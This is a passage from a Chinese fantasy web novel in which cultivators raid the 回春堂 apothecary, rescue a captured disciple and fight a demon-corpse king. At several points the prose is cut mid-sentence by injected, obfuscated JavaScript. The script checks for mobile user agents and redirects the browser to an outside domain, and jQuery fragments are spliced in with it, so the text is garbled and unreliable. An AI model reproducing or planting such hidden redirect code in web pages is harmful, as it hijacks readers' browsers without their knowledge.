l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726056|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的动静,向药铺外走去:“好了,你们去吧,我在回春堂外面接应。” 院墙上先是飞出了一只飞虫模样的傀,晃晃悠悠在回春堂上方盘旋了几圈,才从门缝里挤了进去。 郁离睁开双眼,先一步跃上院墙:“院子里没人,走吧。” 借着树冠的遮掩,他们三个悄然落在回春堂的院子里。院子此刻确实无人,不仅无人,还空旷的可怕,和老马这边完全不一样。如此大的院子,却只立着他们身旁这一棵大树,其余什么花草树木都没有种,甚至供人休憩的桌椅板凳都不存在,毫无活人居住的气息。 回春堂与街道相接的那栋楼里没有人,很快被他们搜过一遍。和上次和众人一起闯进来时一样,大堂里空空荡荡,楼上的几间屋子也没有郁离想得那样神秘,都是很正常的布置,没看出什么门道。 正中一间摆着一套桌椅,桌子上摆着茶具,茶具很干净,没有灰尘。左边几间是仓库,里面的药材分门别类,堆放整齐,看上去都是些一般药铺中常见的药材。右手有间账房倒是令他们重视,上面记录了前来求药人的姓名,还有他们家在何方,为何求药。 姬润翻了一遍账册,上面前来求药的人基本上来自浦黎城以及周边地区,这证明药物的扩散远没有想象中广,还在控制之中。他脸上露出微笑,有了这本账册,可以说他们此行的任务已经完成一半了。 幸好回春堂开得时间不久,账册只有薄薄一本,为了不打草惊蛇,他们没有将账册带走,而是将药物的流向快速抄了下来。郁离一边抄着,一边发自内心地感谢回春堂一月只赐两回药。 账册抄完,他们溜回院子里,准备去院子后面的小楼里探探,直觉告诉他们,回春堂的秘密一定在那里。他们躲在院墙的阴影下等待,等小飞虫傀先去探路。 可是,意外发生了,小飞虫还没靠近那座小楼,楼上就亮起了灯光。没一会儿,楼里的响动就大了,像是陆续有人起床。无法,今日的探查只能就此结束,好在没有惊动回春堂,下次还有机会。 既然没被发现,也不用褚游接应了,他们一个接一个翻回老马家。 老马坐在石凳上打盹儿,见他们回来瞬间惊醒:“没被发现?有收获吗?” 常瀞:“还行,只是他们怎么起得这样早,还剩座后头的小楼没搜呢。” 老马挠头:“或许是今日又要赐药了?赐药他们就会起得比较早。” 郁离:“……”一月两回,他们这运气还真不错,就两回还都叫他们撞上了。 老马送他们到门口,深情喊道:“几位慢走,常来啊!” 回春堂门口挤了一大片排队的人,他们出去后甚至得贴着墙边走。虽然外面很挤,但是他们没着急走,在找到在墙角蹲着的褚游后,绕着回春堂转了一圈。 回春堂的一侧院墙和老马家相隔,另一侧临着小巷。小巷里也都是人,他们经过小巷,绕到没能进去的小楼背后,这里人就少了很多。 有两个垂头丧气的人坐在路边,听见脚步声警惕地抬起头,然后警惕的眼神变成喜悦,激动地朝他们扑来:“是你们!求求你们!救救我师兄!” 46. 回春(四) 郁离定睛一看,这不是他和常静在六河镇遇见的太虚山小修士吗。 廉方灰头土脸但仍高傲地仰起头:“怎么不说话,不记得我们了?!我大师兄冉愉!亏大师兄在六河镇一片好心带你们进秘境,你们还敢不答应帮我!” 郁离:“……”这小修士的修炼生活一定不枯燥,他一个人脑补就能写出一场大戏。 秦子谊同样灰头土脸,他先向郁离歉然一笑,然后戳了戳廉方的后背,小声道:“师兄,咱们如今是求人办事,态度要好一点。” “我态度怎么不够好了!”廉方梗着脖子,嘴上放着狠话,完全忘记了自己前一刻见到熟人时激动欣喜的模样,“算了,反正也没有很指望他们,就两个不知道从哪个小宗门来的人,带着一个病秧子一个傻大个,四个人估计还顶不上咱们两人,带他们去也是拖后腿。” 姬润:“……”罢了罢了,说他病秧子也没错。 褚游可不依了,毛都没长齐的小兔崽子敢骂他傻大个!他当即撸起袖子,今日不把他打得满地找牙喊妈妈他还怎么在鸡鸣巷混! 郁离叹了一口气,拖住褚游,随后对廉方身后的秦子谊道:“说说怎么回事。” 廉方动了动嘴唇还想嘴硬几句,却被秦子谊一把捂住嘴。秦子谊向来恭顺,像捂师兄的嘴这类事,平日里绝无可能出现,这次为了救大师兄,他也是拼了。 在秦子谊断断续续的叙述中,郁离了解到了冉愉被困的始末。 上次秘境一别回到太虚山后,冉愉又想外出历练,廉方和秦子谊死皮赖脸非要跟上。他们一路来到西域,解决掉宗门发布的任务,便准备回程。回程时他们途径了浦黎城周边的一个小村子,村子刚经历过一场动乱,作为修士,他们当然选择留下协助。 然而在协助当中,他们发现这场动乱好像并没有那么单纯,细心探查过后,他们也将目光锁定在了自浦黎城而来的神药身上。等村子的局势稳定下来,他们便动身前往浦黎城。 然后就是郁离他们所看见的,冉愉孤身潜入回春堂探查,结果一去不返。 秦子谊眼睛都红了:“求求你们了,我们也是没有办法,能不能帮帮我们。” 褚游还记着廉方的嘲讽,没好气道:“照你们所说,你们大师兄前天夜里就进去了,你们为何不尽快采取行动,光在外面干等着着急有什么用。” 廉方急道:“那是因为大师兄进去前说了,若是他没回来,不要救援,立刻给宗门递消息。” 褚游蔑他一眼:“呵,你们大师兄心里倒是清楚,让你们两个废物进去也是送菜。” 廉方:“你!” 褚游撸袖子:“我怎么!昂?” “好了好了。”郁离走到越凑越近的两人之间,用手强行隔开他们,“你们递的消息呢?什么时候援手能到。” 秦子谊声音低下去:“还不清楚,按理说昨夜宗门的援手就能到的。” 常瀞猜测:“有事耽搁了?” 秦子谊立即反驳:“不会的,我们在信中将事情说得很严重,大师兄是长老们宝贝疙瘩,宗门里没有人会不重视的。” 郁离若有所思:“那或许是消息没有送出去。” “我们也是这样认为的,这不是方才正和廉师兄商量要不要一个人留在此地盯着,另一个人回宗门求助,然后便看见你们了。”秦子谊恳切地看着郁离和常瀞,虽然在六河镇他们一直没有表露出任何实力,可他没来由地便认为这二人或许没有他们表现出来的那样简单,他的直觉素来很准,“我知道请求你们去冒险是强人所难,可是大师兄已经被困两日了,我们光是回宗门就要一天时间,我真的,真的不知道该怎么办了。” 常瀞拍拍他的肩膀:“别担心,我们这次来也是为了铲除回春堂。先跟我们回去吧,此地不安全。” 回到虞家客栈,郁离再三保证他们夜里一定会去回春堂救他们的师兄,两个精神高度紧绷的少年才在众人的劝说下去客房休息。 廉方和秦子谊去休息了,他们还留在常瀞房里,原本只是搜查和捣毁,如今加了一环救人,须得更加谨慎去对待。郁离在桌上铺开一张纸,通过今日的实地搜查和以老马家建筑布局为基础的推测,画出了回春堂的建筑布局草图。 他们时而在纸上勾勾画画,时而讨论任务细节,郁离从客房踏出去的时候,眼神都发直了。 “哎,要不要跟我出去走走。”常瀞笑着叫住郁离。 郁离停下脚步,没有回头,也没有问去哪,半响才回道:“走吧。” 两人一前一后走下楼,客栈楼下正是热闹的时候,常瀞看什么都觉得新奇,带着郁离一路边逛边买了很多稀奇古怪的小玩意儿,有闻所未闻的花种,说要给重寒酥带回去种;有精巧的手鼓,说是给天尊带的,天尊来自西域,若是思乡了可以拿着摇摇听个响;还有给祝星悬买的小布娃娃,卖布娃娃的老婆婆神神秘秘地说上面被施了巫术,放在枕边能保佑人好眠…… 最后,常瀞带着笑意买了一枝纯白的花递给郁离,花瓣纤长清透略带卷曲,轻盈地包裹住花心的嫩蕊,卖花的小姑娘说这花只生长在大漠的绿洲边,很是稀少,她也不清楚这花叫什么名字,只是听身边人都叫它“?????????????????????????”,意思是“带来黎明的曙光”。 刚进虞家商行,郁离就听见虞大的怒骂声,虞大听起来特别生气,在里面拍着桌子喊:“你们一个个都是干什么吃的!拿着单子对货物都弄不明白!怎么还能多出来一车货!” 他和常瀞对视一眼,没让门口候着的小厮进去找人,小厮想了想,引着他们到一间房里稍候。可是过了快一刻钟,小厮愁眉苦脸地回来了,说是今天商行的货物出了问题,老板格外生气,这会儿还在里面训人。常瀞看虞大这边确实忙着呢,也不好在等下去,只能带着郁离原路返回。 恪尽职守一直候在客栈楼下的小六见到二人回来,主动打招呼:“您二位这是从哪回来?吃了吗?客栈今日送来的羊肉很新鲜,专门给几位爷留了一份,要现在做吗?” 郁离本想拒绝,回房继续雕他未完成的簪子,转念又想起了在楼上嗷嗷待哺的鼠爷:“……要,做好了送去房里就行。” 常瀞道:“我也要,麻烦你了。” 小六交代下去,又道:“几位爷求到药了吗?我打听了一下,昨日和今日早晨回春堂都有赐药。” 常瀞丝滑转换为忧心忡忡的表情:“没呢,两天都是差一点儿。” 小六挠头:“这样不巧啊,如今才月初,下回赐药要等到下月了,几位爷若是着急,可以先走,给小的留个地址,小的保证下月肯定能送到。” 常瀞还是婉拒:“算啦,自己求的更灵,我们也没什么急事儿,多待一月无妨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784384|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 小六不再坚持:“那好,那不打扰二位爷休息了,等下羊肉做好给二位送上去。” 郁离回房短暂休息片刻,便坐到桌前投入到雕刻当中,他专注到敲门声响到第二遍才去开门。客栈大厨的手艺确实不错,羊肉被烤制得滋滋冒油,外酥里嫩,让郁离这种因为失去味觉而没有口腹之欲的人都多吃了几口。 送上来的羊肉一点没剩,鼠爷硬是捂着肚子吃了个精光,郁离劝都劝不住。鼠爷打了个响亮的嗝,心满意足地回床上继续睡了,睡着前还不忘指挥郁离为他盖好被子。 夜半三更,他们带上廉方和秦子谊又来到了老马家,老马家院子里的石桌上仍旧摆着那几件熟悉的夜行衣。这次没等老马开口,郁离和姬润先一步沉默着套上了夜行衣。 老马捂着嘴小声对廉方和秦子谊道:“抱歉啊,两位小兄弟,俺不知道你们要来,不然肯定给你们也准备上夜行衣。” 廉方、秦子谊:“……不用那么客气。”我们并不想要。 今夜还是郁离、常瀞和姬润潜入,褚游则带着廉方和秦子谊做接应。昨夜门口的小楼已经搜过一遍,所以今夜他们目标明确,径直溜进剩下的那座小楼。 这座三层小楼里据老马所说,住了有十来个人,哪怕是在夜里,进去搜查也困难极大。但是他们也做了其他准备,郁离的小飞虫傀将带着姬润赶制出来的迷药先他们一步进入小楼。 郁离轻轻推开一楼其中一间的房门,看里面的布置这似乎是一间卧房。他蹑手蹑脚走进去,确定床上那人确实被药倒,才又退出来。姬润对他的迷药很有信心,三人一合计,干脆分头搜,可是从一楼搜到二楼,都是普通的卧房,里面没有任何他们想要的信息。 他们屏住呼吸来到三楼,终于发现了疑似用来炼药的房间和仓库。在炼药室里,他们搜出了一张记录炼药用量和流程的方子,姬润还在仓库里仔细地收集了每一种药材。 今夜出奇的顺利,只剩下走廊尽头最后一间房没搜了。郁离推开门,里面摆着些桌椅,他的心提了起来,这看上去是用来议事的房间,或许会有线索。他们趁黑摸进去,翻了几个抽屉都没看见什么有用的线索。 直到郁离在那张大桌子上翻到一个被压在最下面的账册,他翻着扫了几眼,大惊失色,正想叫常瀞和姬润来看,门外便传来了脚步声。三人只慌了一瞬,便冷静下来,藏在了桌子后面。 常瀞用胳膊怼了一下姬润,传音道:“不是说大象都能药倒吗!” 姬润:“……药没有问题,来人应当是刚进的这栋小楼。” 脚步声是两个人的,那两人推门而入,也没有点灯。 先进来的听声音是个中年男子,郁离觉得有点熟悉:“听说抓来的那人你压着没让杀。” 回答的女声声音沙哑,正是他们在回春堂里见到的疯疯癫癫的沙十七,只不过此刻她看上去很正常。她恭敬回道:“我想拿他试药。” “呵,还想着你那事儿呢,好吧,那他便赏你了。”中年男子问完话,准备离开房间,然而他在迈出房门的一瞬间,忽然觉得房里有些不对劲,他慢慢走回来关死房门,示意沙十七看看。 郁离的心重重提起,随时准备召唤傀应战。脚步声越来越近了,他的心跳一下接一下,蓦然间,眼前笼上了一层薄薄的阴影。 郁离僵硬抬头,和沙十七四目相对。 47. 回春(五) 沙十七此刻的眼神死气沉沉,和先前郁离看到的那双清澈眼睛截然不同,他一愣之下,召唤傀的速度便慢了一瞬。 这下麻烦了,郁离心道。 他活动了下手指,刚准备起身直接开打,就发现了沙十七的奇怪举动。 沙十七冲他们眨了眨眼,露出一个诡异微笑,而后那笑容又立刻消失。她恢复死气沉沉的表情,扭头对中年男子道:“耗子而已。” 中年男子眉头紧锁,转身离开。 听到门被碰上的声音,郁离长舒一口气,他收好方才惊慌失措之下还拿在手里的账册,打算出去再细看。 沙十七借着掩门的动作停留在门口,掏出一把秀气的刀指着他们:“不管你们是来做什么的,快滚。” “谢谢你帮了我们。”常瀞举起手,笑容温和,“只是我们现在还走不成,我们的朋友还被你们关着。” “朋友?一个小道士?”沙十七声音喑哑。 郁离忙道:“对,他还好吗……你,能不能告诉我们他被关在哪?” “你们救不了他,他被关着的地方有人全天把守,快滚吧。” “你是不是担心我们会牵连你?放心,绝对不会暴露你的,你只要告诉我们他被关在哪就行了。” 沙十七忽然怒吼,用刀指着他们剧烈晃动:“听不懂话吗,滚啊!” 姬润向前走了几步,安抚道:“姑娘……你别激动,可以先把刀放下,你帮了我们,我们不会伤害你。” 沙十七不屑一顾:“呵,我现在喊一声,你们谁都走不掉。” “你没发现这楼里很安静吗?你的同伴们都睡得很熟呢。”姬润停在她几步远的位置,笑容里隐隐掺了几分威胁,“况且你似乎对我们的实力有些误解,我们或许比你想象中的要强上许多呢。实话说我们今夜来回春堂除了救人,更想做的其实是毁掉这里。” 在听到他们想毁掉回春堂时,沙十七的眼神开始有了变化:“你们到底是谁,我凭什么相信你们能彻底毁掉这里。” “你只用看就行了。”常瀞陡然拔剑,几步冲上前,将沙十七拨开。 同一时间,门板碎裂,一把漆黑的匕首自门板破裂的碎片中闪现,匕首的主人见偷袭没伤到沙十七,对方人又不少,也不敢托大,身体后撤便准备开溜。 可惜常瀞比他更快,几步蹬在墙上,越过了欲逃跑的中年男子。中年男子一边狼狈迎战,一边不忘大声呼救,可是走廊只有刀剑相接的声音,没有人回应男子的呼喊。几招之下,中年男子的喉咙就被剑顶上,一步一步退回房间。 房间的门砰一声关上,走廊里又恢复了安静。 中年男子留了几滴冷汗,却没有表现的太过害怕,他先是瞪着沙十七:“你疯了吗!六爷让我提防着点你,我还不信!结果转头你就出卖我们!” 沙十七瑟缩了一下:“八爷,我……” 钱八怒道:“不怕死是不是!” 不知是哪个字眼触碰了她,沙十七抬起头,也不害怕了,她死死盯着钱八轻声道:“不怕啊,你不是知道吗,我最不怕的就是死了。” 钱八:“你!——” 钱八一句话没说完,被常瀞用剑蹭了一下,脖颈一凉,不敢多嘴了。 郁离还念着被关起来的冉愉,正欲和沙十七再聊聊,可还没等他开口,钱八那边又有动静了。 “哈哈哈哈哈,真当老子被你们治住了。”钱八露出一个诡异的微笑,他动了动手指,地面上亮起了一个血色阵法,“你们一个个都去死吧!全都去死!” 阵法内登时爬满了浓艳的血色,正是他们在庐山镇见过的流霞阵。这次的流霞阵稍小一些,威力却比庐山镇更强。很快,目之所及之处丝丝缕缕的血雾腾起,笼上了所有被困在阵中的人。 除了钱八。 如钱八所料,流霞阵一起,脖子上顶着的剑尖便松了。他活动了一下僵硬的脖颈,摸了摸脖子上被剑划破的伤口。伤口不浅,他在回春堂地位不低,平时就像皇帝一样,几乎没机会受这样的伤。 他越想越气,拧着脸朝常瀞的方向啐了一口。钱八抹了把脸,看着他们痛苦的神色,又大笑起来。然而笑着笑着,他脸上得意的表情便消失了,因为那把剑又顶在了他的喉咙上。 与此同时,血色的阵法如被戳破的泡影渐渐消解,钱八晃了神,流霞阵被破比顶在喉咙上的剑尖更令他难以接受:“怎么?!怎么可能!你们怎么可能破我的阵!” 姬润捂住口鼻,阵破后第一时间把窗户打开。事实证明,流霞阵在阵内解阵确实比在阵外要慢,但姬润认为,阵内令人作呕的血雾绝对占大部分原因。 “你们能不能换个阵呐,这阵难闻死了。”常瀞摸出他的扇子,一手执剑,一手疯狂摇扇子扇风,“八煞流霞阵我们都破了,遑论这小小流霞阵。” 钱八似乎真的无法接受,垮下肩,双目无神,彻底歇了反抗的意思。 阵起后,滑坐在地上一动不动的沙十七抬起头。在她印象中宛如地狱的流霞阵,刚刚被轻描淡写地破解,这才让她开始正视夜闯回春堂的这帮人。 沙十七问道:“你们说的都是真的?” 郁离察觉到她态度略有软化,肯定道:“是问我们打算毁掉这里这件事吗?是真的,我们没骗你。” 沙十七撑着地站起来,恶狠狠瞪着钱八:“那你们先杀了他。” “什么!你敢!”钱八回过神来。 郁离还在犹豫,毕竟钱八的地位看起来不低,在彻底毁掉回春堂前,留着他或许还有用。 沙十七看明白他的犹豫,果断道:“他该死,杀了他。我比他在回春堂的时间久,他知道的我都知道,杀了他,我帮你们。” 常瀞顺着沙十七的目光看进她眼底,这个女孩的眼中并不是只有仇恨和怒火,她是在清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815388|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒状态下说的这番话。没有思考太久,常瀞选择相信她,手起剑落。钱八捂着喉咙上的血洞,甚至没能多留几个字,便不甘倒地。 常瀞掏出块布,细细擦过剑,嫌弃地瞥了眼钱八的尸体,收剑回鞘。他才不承认,他下手这么快,有厌恶钱八搞出来难闻流霞阵的原因。 钱八倒地的一刻,沙十七眼里有浮现出一点喜悦,那点喜悦在她检查完钱八的尸体后,又消失不见。她在钱八身上摸出一把奇形怪状的钥匙:“你们确定现在楼里的人都昏迷了?” 有了钱八和沙十七的先例,姬润严谨回道:“在我们之后进来的人,不敢保证。” “那走吧。”沙十七随意点点头,走出房间后,她又忽然停下脚步,回头一笑,“对了,你们是说要毁掉这里,那这里的人都让我来杀,可以吗?” 郁离:“你……” “不行吗?”沙十七讥笑,也不等他们回答,提起刀大步向前跑去,“你们这些仙门正道就是顾忌太过,放心,这里的人都该死。” 接下来的事情十分之血腥,郁离眼睁睁看着沙十七握着她那把秀气的小刀,踹开一道道门,大笑着将刀刃扎进回春堂里所有陷入昏迷中的人的心脏。等他们下到一楼时,那把银亮的秀气小刀已然吸饱血,泛着血红的色泽。沙十七白色的衣袍和缠身的布条上全是喷溅的血迹,血滴顺着刀尖留下,持刀的人宛如嗜血修罗。 “哈哈哈都死了,终于都死了!你们看见了吗!他们全都死了!被我杀死的!”沙十七手一松,刀掉在地上,她捂着肚子笑得直不起腰,“谢谢你们啊,我等这一天等了太久了。” 郁离和常瀞、姬润互相交换了个眼神,开始质疑他们让沙十七动手杀人,这一决定是不是错了。 沙十七笑够了,擦了擦眼角留下的泪:“别这么看着我,我的父母,我的哥哥,我的族人们都被这群人害死了,我不过是以其人之道还治其人之身罢了。” “那你为什么会和这些人混在一起。” 沙十七眼神变得很复杂,但她最终选择避而不答:“先去救你们的朋友吧,他被关着的地方有人把守,是回春堂修为最高的人,我打不过他,只能看你们了。” 她在走廊尽头墙壁下方的石砖缝隙里插进钥匙,然后用力跺了三脚石砖。石砖滑开,露出一个洞口。 由于之前几回的密室都是郁离发现的,如今又见密室,常瀞下意识就去找站在他身后的郁离,他虽然没有开口问,但眼里的疑惑写得明明白白。 “快走,先下去。”看沙十七已经下去,郁离拍了一把常瀞,没好气道,“咱们搜一楼不是分开搜的吗?我搜的另一边,当然不会神通广大到搜那头能发现这头的密室。” 又是熟悉的漆黑地道,郁离刚准备召出那颗会发光的小圆球傀,就想起上次在海平县地下密室里它无法无天的行为,动作一顿,老老实实学沙十七从墙上取下一盏提灯。 48. 回春(六) 地道狭窄,寒气刺骨,常瀞的袖子不小心蹭在墙上,留了一道灰印,他嫌弃地拎起袖口看了看:“你们回春堂这位第一高手够低调啊,竟亲自在如此恶劣的环境把守。” 沙十七自顾自向下走:“地下温度低,五爷选在这里常驻,据说和他修炼的功法有关。” 没一会儿,他们下到了楼梯尽头,楼梯尽头的开口在一个长廊中间,长廊一端能看到隐隐的灯火,另一端则漆黑一片,有夹杂着凛凛寒气的风从黑暗中吹过来。 “看守你们朋友的两个人不足为惧,主要是五爷。”沙十七探出脑袋先张望了一下,然后朝长廊漆黑的那端努嘴:“五爷平时就在这头,最好不要惊动他。” 她拿出三件白袍,示意他们都穿上。 今夜这衣服都套了几层了。郁离拿着白袍有些恍惚,看着沙十七像是又看见了塞给他们夜行衣的老马。他身旁的姬润也哽了一瞬,不知是不是也想道了老马。郁离和姬润沉默地将白袍裹在身上,兜帽一戴,在如此暗的环境下,确实很难辨出身份真假。 常瀞拧着眉盯了那件白袍许久,最后也穿上了。倒不是担心惊动那位五爷,而是他不穿,沙十七就不走。沙十七方才把回春堂的人杀绝了,把冉愉救出来后,更多的情报或许还得靠她。这女子行为如此无序,为了不耽误要事,区区一件白袍,他忍了。 沙十七引着他们很快来到长廊有灯光的那处尽头。大门推开,沙十七和常瀞走进去。两个坐在凳子上正垂头打瞌睡的白袍人顿时惊醒。那两人弹立起身,揉揉眼睛,在看清沙十七的脸后,绷直的脊背才略微放松下来。 其中一个白袍人缩着脖子:“十七大人,实在这夜里实在是太困了,您能不能就当没看见,我们保证不犯了。” 沙十七倚在门上:“嘻嘻跪下求我啊,求我就当没看见。” “您就别逗我们了。”白袍人赔笑,侧了下身子,露出身后四肢和脖颈都被牢牢锁住的人,“这么晚了您这是来干什么呢,八爷同意把里头关着的人给您了?” 沙十七摊开手:“是啊,钥匙拿来,我要把他带走。” 白袍人听罢痛快地从腰间解下钥匙,在钥匙递给沙十七的一瞬,又收回去:“害,我睡糊涂了,这人让我们灌了迷药,还不知道什么时候能醒。这怎么好劳烦您动手,我们把他给您扛上去。” 沙十七摊开的手掌颤了颤,顺势坐在白袍人为她拉开的凳子上,不耐地催促道:“也行,你们动作快点。” 被吊着的人垂着头,身上有几道血痕,头发乱蓬蓬的。幸而常瀞记性不错,从轮廓勉强能认出是冉愉。 两个白袍人一边开冉愉手腕脚腕上的锁,一边问:“十七大人,您身后这位是?” 常瀞的头暗自放低了一分,兜帽的暗影下只能看清他的下巴。 “喔,外头送来的,让他跟着我学做药。” “那真好。”白袍人语气带着一丝羡慕。 锁链声音叮叮当当,听得沙十七心慌:“你们守在这儿时,五爷那边有动静吗?” 白袍人手打了个颤,解冉愉脖颈上的锁的动作就大了一分:“没,没有。” 冉愉脖子被大力扯了一下,竟幽幽醒转过来。他浑浑噩噩的目光在身前这几人身上打了个转,最后停在常瀞身上。他眸子一亮,明显是认出常瀞了。 沙十七一直留意着这边的动静,自然没放过冉愉眼里的这点变化。她暗道不好,随后,毫不犹豫手腕一翻,就将刀握在手里。 迎着两个白袍人逐渐从迷惑到惊疑的神情,沙十七和常瀞一人一个,手起刀落,没给那两个白袍人喊出声的机会,血带着特有的腥气从两个白袍人的喉咙里喷溅而出。 沙十七一把扯下身上被溅上血的白袍,换上新的:“袍子快扔掉,五爷对血的味道很敏感”。 没等沙十七提醒,常瀞在血溅上的一刻,就已经嫌弃地将袍子扒掉。他背上冉愉,在沙十七的催促下快步走出去。 候在门外的郁离和姬润见他们背着冉愉慌慌张张跑出来,刚准备问几句冉愉的情况,就被沙十七拽着向楼梯的方向狂奔。郁离一头雾水跟着跑,跑到地下长廊和楼梯相接的地方才知道是怎么一回事。 长廊另一端,漆黑的尽头处冒出个人影,正飞快向这边追来。他们一路狂奔,上到回春堂的院子里,腿忽然被不知从哪冒出来的寒冰冻在地上,拔不出来。 寒冰自然拦不住人,几下被震碎,但就在寒冰被震碎的时间里,沙十七口中的五爷追上来了。他不慌不忙地在回春堂上空张开一座大阵,恰好拦住他们出回春堂的脚步。 五爷和回春堂里的其他人不同,穿着一身黑袍,袍子上缠绕着若隐若现的黑气:“嘿嘿嘿抓住你们这些小虫子啦。” 常瀞没搭理他,将背上的冉愉交给郁离,冉愉在短暂的清醒过后又昏过去了。常瀞一剑劈向阵法,阵法只微微波动。硬闯行不通,他扭头喊姬润。 姬润仔细观察阵法,想要算出阵眼,可他的眉头松开又皱起,阵眼始终算不出:“这阵法我没见过,大概是上古时期留下来的,可能还需要些时间。” 五爷在他们几步开外的地方盘膝坐下,他撑着下巴,神情闲适:“别浪费时间啦,都来坐下聊聊。” 常瀞一剑斩过去:“有什么好聊的!” 一道坚实的冰墙拦住常瀞的剑,没等常瀞挥剑再斩,五爷挥挥手,又是几块寒冰凭空出现,冻住在场人的腿。寒冰被震碎后,转瞬又有新的接上,这回直接冻上了他们的胸口。五爷换了只手撑下巴:“现在能聊了吗?” 被冰块冻至胸口的感受很不好,哪怕冰很快被震碎,郁离仍觉得呼吸困难。他帮沙十七把冰块敲开,沙十七的表情很奇怪,看都没看帮她的郁离,只震惊地盯着五爷的脸,喃喃道:“怎么可能,他怎么可能还活着……” 郁离没听清:“什么?” 沙十七回过神来,闭上嘴:“没,没什么。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14842221|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 之前的事情让郁离知道她嘴不是一般的严,见沙十七不想多说,他便揭过:“这人是什么来头。” 常瀞退回来,神情凝重:“他很强。” 沙十七揉了揉胸口:“我也不知道太多,五爷他……以我在回春堂的地位接触不到,我甚至不知道他姓什么。只听钱八提过一回,说他修为超乎想象的高,就算是上清境,只要不是最厉害那位来了,都不用怕。还有,犯错的人,都会被送去给五爷,从他那出来的尸体都惨不忍睹,我们会被逼着去看那些人最后的样子。” 五爷似乎是听他们在那边小声叨叨,有些乏了,在背后造了一块冰,换了个姿势,伸开腿靠在冰上。他先是将目光移到沙十七身上:“哦?是你呀。还别说,当初留下你,我其实就预料到你会叛变了。” 沙十七声音嘶哑:“我也记得你。” 五爷眼里冒出一丝可疑的愉悦:“不过我没想到你还挺厉害,那楼里的人都死了吧,他们伤口上留下的气味告诉我,全是你杀的。” “是又如何。” “哈哈哈不如何,都是受我驱策的蝼蚁,杀便杀了。” 郁离注意到他无所谓的态度,心头升起不详的预感:“你们的目的究竟是什么?” “哈哈哈猜猜看,你们一定猜到一部分了吧,上清境来的小虫子们。” “你怎么知道!”常瀞从他刻意大量散发的黑气中察觉到什么,“你是——魔物!” “对咯。”五爷笑容灿烂,“你们是从这浦黎城附近的村子找来的吧,怎么样?很美吧,要不是你们来得太快,还能更美!对了,还有这浦黎城,很快也会变得和那些村子一样美!” “你想做什么!” 五爷合上双眼叹道:“快了,你很快就能知道了。说来,你们来得确实巧,这回春堂的使命刚好大致完成了。” 五爷话音刚落,困着他们的阵法便缓缓消解了。 他们欣喜地看向姬润,姬润却一脸疑惑:“不是我。” “是我。”五爷微笑,他打了个响指,身上的肌肤开始片片裂开,眼神也逐渐发木。他站起身来,速度奇快,将姬润一脚踹开,砸在院墙上。 姬润当即便捂住胸口,咳出一口血。他在眼冒金星之时似乎还听到了院墙那头老马的一声惊呼。 霎时间,回春堂外的浦黎城里,同样惊呼声四起。郁离飞上空中眺望惊呼声响起的位置,再下来时脸色难看:“城里都是魔尸。” 常瀞来不及思考浦黎城为何会凭空出现如此多的魔尸,他将姬润扶起,推给郁离,执剑拦住五爷,不,应当是已经化为魔尸王的五爷:“你们去城里,这里我来。” 郁离踯躅:“可……” “快走!”常瀞挡下一击,手腕震得发麻,但仍面不改色回头对郁离笑道,“别担心,我不会有事的,一会儿见。” 郁离知晓此刻城里的魔尸同样棘手,终是咬牙背起冉愉和姬润一起跑出回春堂。 49. 回春(七) 浦黎城里已经乱成了一锅粥,城里同时四五处位置都有惨叫响起。幸好回春堂这月的药已经赐完,几乎没有几个大半夜还在街上逗留闲逛的人,魔尸之乱暂时还能控制。 在看见郁离背着冉愉跑出回春堂时,廉方和秦子谊激动地都快哭了。他们接过师兄,仔细检查了一番,确定师兄还是那个完整的师兄,没有缺胳膊也没有少腿儿,这才想起来郑重向郁离道谢。 郁离胡乱点了下头,交代他们俩:“冉愉被喂了迷药,或许还要一会儿才能醒来,你们赶快回客栈,城里不安全。” 然后他又指了下跟着他们一起跑出来的沙十七:“能把冉愉顺利救出来,多亏了她,你们也一块把她带去客栈吧。” 褚游握着刀从屋顶跳下来,方才里面打起来的时候,他急得想闯进去帮忙,却被阵法拦在外面。正发愁怎么办,城里又响起些怪叫,他刚攀上屋顶准备去看看,底下两个小兔崽子就喊人回来了。他扳过郁离的肩膀:“有没有受伤!你们都没事吧!” 郁离三言两语解释完当下的情况:“回春堂里有具很强的魔尸王,常瀞正拖着他。你听见城里的怪叫是魔尸!” 褚游放在郁离肩膀上的手僵住:“啊?不是,那咱们快走啊!” 姬润捂着心口,直接席地而坐,往嘴里倒了一把丹药:“你们先去,我调息完去起阵,得把这座城关死了,不能让魔尸跑出去。” 